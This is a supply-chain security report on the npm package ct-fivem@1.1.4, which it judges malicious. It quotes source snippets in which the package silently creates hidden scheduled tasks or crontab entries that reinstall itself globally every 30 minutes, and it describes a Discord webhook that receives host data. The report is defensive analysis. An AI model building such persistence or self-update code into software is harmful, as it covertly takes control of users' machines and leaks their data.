---
canonical: "https://firewall.lpm.dev/npm/ct-fivem"
markdown: "https://firewall.lpm.dev/npm/ct-fivem/report.md"
package: "ct-fivem"
report_status: "published"
title: "ct-fivem@1.1.4 npm security report"
verdict: "malicious"
version: "1.1.4"
---

# ct-fivem@1.1.4 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Unconsented recurring code replacement and telemetry reporting outside the invoking terminal.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Persistence
- **Selected version:** 1.1.4
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

This is a concrete, automatically triggered persistence and unattended remote-update chain, not a normal user-invoked update command. Absence of an npm lifecycle hook does not mitigate the behavior reached by every CLI invocation.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-08-09T18:00:58.724Z
- **Finished:** 2026-08-09T18:01:40.138Z
- **Download time:** 254 ms
- **Static scan time:** 100 ms
- **AI review time:** 41059 ms
- **Total time:** 41414 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Running any ct-fivem CLI command attempts to establish silent, recurring OS-level persistence. The task/cron entry repeatedly installs the latest package globally and the package has a preconfigured Discord reporting endpoint.

- **Trigger:** User runs any ct-fivem CLI command.

- **Impact:** Unconsented recurring code replacement and telemetry reporting outside the invoking terminal.

- **Evidence paths:** package.json, bin/ct.js, src/cli.js, src/utils/autoupdate-service.js, src/utils/update.js, src/config/config.js, src/utils/discord.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-09T18:01:40.138Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** silent scheduled-task/crontab persistence plus unattended global self-update

- **Attack narrative:** The bin entry loads src/cli.js, which silently registers persistence before parsing any command. On Windows it creates a hidden scheduled task; on Linux/macOS it replaces the user's crontab with an entry that repeatedly installs the latest ct-fivem globally. Update checks and installs are package-controlled, while a default Discord webhook receives host and activity information.

- **Rationale:** This is a concrete, automatically triggered persistence and unattended remote-update chain, not a normal user-invoked update command. Absence of an npm lifecycle hook does not mitigate the behavior reached by every CLI invocation.

- **Files touched:** bin/ct.js, src/cli.js, src/utils/autoupdate-service.js, src/utils/update.js, src/config/config.js, src/utils/discord.js

- **Network endpoints:** registry.npmjs.org, canary.discord.com

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** src/cli.js invokes background-service registration on every CLI run, including help/version., src/utils/autoupdate-service.js creates a hidden Windows scheduled task or installs a crontab entry every 30 minutes., The persisted commands silently run \`npm install -g ct-fivem@latest\`., src/utils/update.js also auto-installs a newer global package after querying the npm registry., src/config/config.js embeds a default Discord webhook; src/utils/discord.js sends host/platform and activity data to it.

- **Evidence against:** package.json contains no npm lifecycle hook., Persistence starts after explicit CLI execution, not package installation.

## Affected versions and remediation

This report applies to ct-fivem@1.1.4.

- Avoid installing ct-fivem@1.1.4. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. High: Child Process
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** src/utils/update.js
- **Public source:** [View source](<https://unpkg.com/ct-fivem@1.1.4/src/utils/update.js>)

Package source references child process execution.

Public source snippet (untrusted):

```javascript
L1: const https = require("https");
L2: const { exec } = require("child_process");
L3: const pkg = require("../../package.json");
```

### 3. High: Shell
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** src/utils/autoupdate-service.js
- **Public source:** [View source](<https://unpkg.com/ct-fivem@1.1.4/src/utils/autoupdate-service.js>)

Package source references shell execution.

Public source snippet (untrusted):

```javascript
L26: // Create a background task that runs every 30 minutes silently
L27: // Uses powershell -WindowStyle Hidden to run completely invisibly
L28: const psCommand = `powershell -WindowStyle Hidden -Command "Start-Process npm -ArgumentList 'install -g ct-fivem@latest' -WindowStyle Hidden"`;
```

### 4. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 5. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 6. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 7. Critical: Persistence Backdoor
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** src/utils/autoupdate-service.js
- **Public source:** [View source](<https://unpkg.com/ct-fivem@1.1.4/src/utils/autoupdate-service.js>)

Source writes persistence or remote-access backdoor material.

Public source snippet (untrusted):

```javascript
L1: const { exec } = require("child_process");
L2: const path = require("path");
...
L5: const { fetchLatestNpmVersion, isNewerVersion } = require("./update");
L6: const pkg = require("../../package.json");
L7: const logger = require("./logger");
...
L19: // Check if task already exists
L20: exec(`schtasks /Query /TN "${TASK_NAME}"`, (err) => {
L21: if (!err) {
...
L38: // macOS / Linux cron fallback
L39: exec("crontab -l", (err, stdout) => {
L40: if (!err && stdout && stdout.includes("ct-fivem")) return;
```

### 8. Critical: Trigger Reachable Dangerous Capability
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** src/utils/autoupdate-service.js
- **Public source:** [View source](<https://unpkg.com/ct-fivem@1.1.4/src/utils/autoupdate-service.js>)

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable chain: manifest.main -> src/cli.js -> src/utils/autoupdate-service.js
L1: const { exec } = require("child_process");
L2: const path = require("path");
...
L5: const { fetchLatestNpmVersion, isNewerVersion } = require("./update");
L6: const pkg = require("../../package.json");
L7: const logger = require("./logger");
...
L19: // Check if task already exists
L20: exec(`schtasks /Query /TN "${TASK_NAME}"`, (err) => {
L21: if (!err) {
...
L38: // macOS / Linux cron fallback
L39: exec("crontab -l", (err, stdout) => {
L40: if (!err && stdout && stdout.includes("ct-fivem")) return;
```

### 9. High: Trigger Reachable Persistence
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** src/utils/autoupdate-service.js
- **Public source:** [View source](<https://unpkg.com/ct-fivem@1.1.4/src/utils/autoupdate-service.js>)

A manifest entrypoint or package-local install chain reaches persistence behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable persistence chain: manifest.main -> src/cli.js -> src/utils/autoupdate-service.js
L1: const { exec } = require("child_process");
L2: const path = require("path");
...
L5: const { fetchLatestNpmVersion, isNewerVersion } = require("./update");
L6: const pkg = require("../../package.json");
L7: const logger = require("./logger");
...
L19: // Check if task already exists
L20: exec(`schtasks /Query /TN "${TASK_NAME}"`, (err) => {
L21: if (!err) {
...
L38: // macOS / Linux cron fallback
L39: exec("crontab -l", (err, stdout) => {
L40: if (!err && stdout && stdout.includes("ct-fivem")) return;
```

### 10. High: Runtime Package Install
- **Category:** Source
- **Confidence:** 86.0%
- **Path:** src/utils/update.js
- **Public source:** [View source](<https://unpkg.com/ct-fivem@1.1.4/src/utils/update.js>)

Package source invokes a package manager install command at runtime.

Public source snippet (untrusted):

```javascript
L24: logger.info(`🚀 New version v${version} published! Auto-installing update...`);
L25: exec("npm install -g ct-fivem@latest", (err) => {
L26: if (err) {
```

### 11. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 12. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 13. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 14. Critical: Previous Version Dangerous Delta
- **Category:** Supply Chain
- **Confidence:** 93.0%
- **Path:** src/fivem/launcher.js
- **Public source:** [View source](<https://unpkg.com/ct-fivem@1.1.4/src/fivem/launcher.js>)

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = previous_version_dangerous_delta
matchedPackage = ct-fivem@1.1.0
matchedIdentity = npm:Y3QtZml2ZW0:1.1.0
similarity = 0.682
summary = stored previous version shares package body but lacks this dangerous source file
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** ct-fivem
- **Ecosystem:** npm
- **Version:** 1.1.4
- **License:** MIT
- **Version published:** 2026-08-09T10:28:55.064Z
- **Package first seen:** 2026-08-09T02:27:56.657Z
- **Package last seen:** 2026-08-09T18:01:51.892Z
- **Known versions:** 6
- **Latest version:** 1.1.4
- **Appeal under review:** No
- **Description:** FiveM CLI launcher and auto-reconnect watchdog
- **Keywords:** fivem, gta, fivem-cli, launcher, watchdog
- **Runtime engines:** node: \>=18
- **Artifact files:** 30
- **Artifact unpacked size:** 55,611 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/ct-fivem>)
